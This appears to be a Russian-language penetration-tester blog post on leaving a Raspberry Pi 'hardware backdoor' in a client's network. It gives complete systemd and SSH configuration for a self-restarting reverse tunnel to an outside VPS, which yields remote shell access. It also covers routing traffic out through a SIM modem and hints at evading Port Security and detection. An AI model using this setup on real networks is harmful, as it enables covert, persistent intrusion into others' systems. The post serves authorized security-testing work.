Обучение
January 29

Аппаратный БЭКДОР

Бэкдор

Данная статья была разработана моим коллегой Николаем Лысяковым - @KLON2000

Добрый день друзья, в статье про работы на высоте (https://teletype.in/@r00t_owl/2vFmJb4gRX6) мы (@r00t_owl и @KLON2000) говорили Вам , что мы оставили аппартаный бекдор в виде Raspberry Pi в сети заказчика и продолжали удаленно работать.

В этой статье мы опишем Вам как это сделать.

Для примера я буду показывать на обычной Kali, так как наша “малинка” в данный момент находится на проекте, но у нее все происходит аналогично.

Суть заключается в том, что вы подключаете usb-модем с заряженой симкой к ноутбуку, малинке или чему-то еше, и раземещаете устройство во внутреннюю сети заказчика. Далее настраиваете маршруты, чтобы трафик который будет идти наружу проходил через usb-модем, а трафик который будет проходить внутрь - шел через eth (по проводу). В идеале нужно еще обойти Port Security и помаксимуму замоскировать свою тачку (У каждого специалиста свое мнение на этот счет, поэтому расписывать не стал), чтобы вас не заметили в сети.

Порядок действий для создания аппаратного бэкдора:

Мы будем поднимать ssh службу, которая автоматически будет восстанавливать соединение при разрыве. И получать доступ к ней удаленно, используя хоп через VPS.

1. Для начала на нашей кали создаем файл в /etc/default/secure-tunnel@ip_or_dns_you_vps :

TARGET=ip_or_dns_you_vps
LOCAL_PORT=22
# port that will be use to ssh at remote server
REMOTE_PORT=22222
# change username
USERNAME=username
SSH_TARGET_PORT=22

2. Затем создаем файл в /etc/systemd/system/[email protected] :

Description=Setup a secure tunnel to %I
After=network.target

[Service]
Environment="LOCAL_ADDR=localhost"
EnvironmentFile=/etc/default/secure-tunnel@%i
ExecStart=/usr/bin/ssh -NT -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes -R ${REMOTE_PORT}:localhost:${LOCAL_PORT} ${USERNAME}@${TARGET}
#Это если есть авторан#Environment="AUTOSSH_GATETIME=0"
#Это если есть авторан#ExecStart=/usr/bin/autossh -M 0 -o "ExitOnForwardFailure=yes" -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -NR ${REMOTE_PORT}:${LOCAL_ADDR}:${LOCAL_PORT} -p ${SSH_TARGET_PORT} ${USERNAME}@${TARGET}

# Restart every >2 seconds to avoid StartLimitInterval failure
RestartSec=5
Restart=always
[Install]
WantedBy=multi-user.target

Здесь мы можем использовать либо просто shh, либо autossh. Я буду использовать первый вариант.

В нашем случае наша кали будет приходить на VPS и открывать 22222 порт, при обращении на который мы будем получать доступ к кали.

3. Затем вам нужно скопировать ваш открытый ключ в .ssh/known_hosts.

4. В кали вам нужно поставить права на id_rsa, от пользователя с которого будете работать(либо /home/user/.ssh либо /root/.ssh):

sudo chmod 600 id_rsa
sudo chown user:user /home/user/.ssh/id_rsa

5. Затем делаем перезапуск демона и запускаем службу:

systemctl daemon-reload
systemctl start secure-tunnel@yourjumpsshserver
systemctl status secure-tunnel@yourjumpsshserver
Статус запущенной службы

5.1 Если у вас будет disable and code-exited, то выполняйте команду в ручную и смотрите на каком моменте у вас крашится:

/usr/bin/ssh -Nt -o ServerALiveInterval ..... -v

5.2) Не забываем включить shh на Кали.

Когда у вас прокинутся порты, заходим на VPS и подключаемся к кали:

sudo ssh user@localhost -p 22222
Команда whoami в контексте удаленной машины

Если в какой то момент вы не можете получить доступ к кали или малинке, на VPS просто убейте процесс с подключением к ней. Через пару мгновений вы увидите, что порт 22222 снова открылся.

Вот так просто и быстро.

На выходе вы получаете аппаратный бекдор к которому вы будете подключаться из любого уголка мира, который будет смотреть во внутреннюю сеть Заказчика и интернет и будет автоматически восстанавливать соединение при разрыве.

А еще я хочу порекомендовать вам канал по кибербезу, поэтому ловите ссылку – Пакет Безопасности. Там автор регулярно рассказывает об актуальных новостях из мира ИБ, обозревает полезные инструменты для безопасников и делится своим мнением.

Еще больше интересных статей в моем ТГ канале: https://t.me/pro_pentest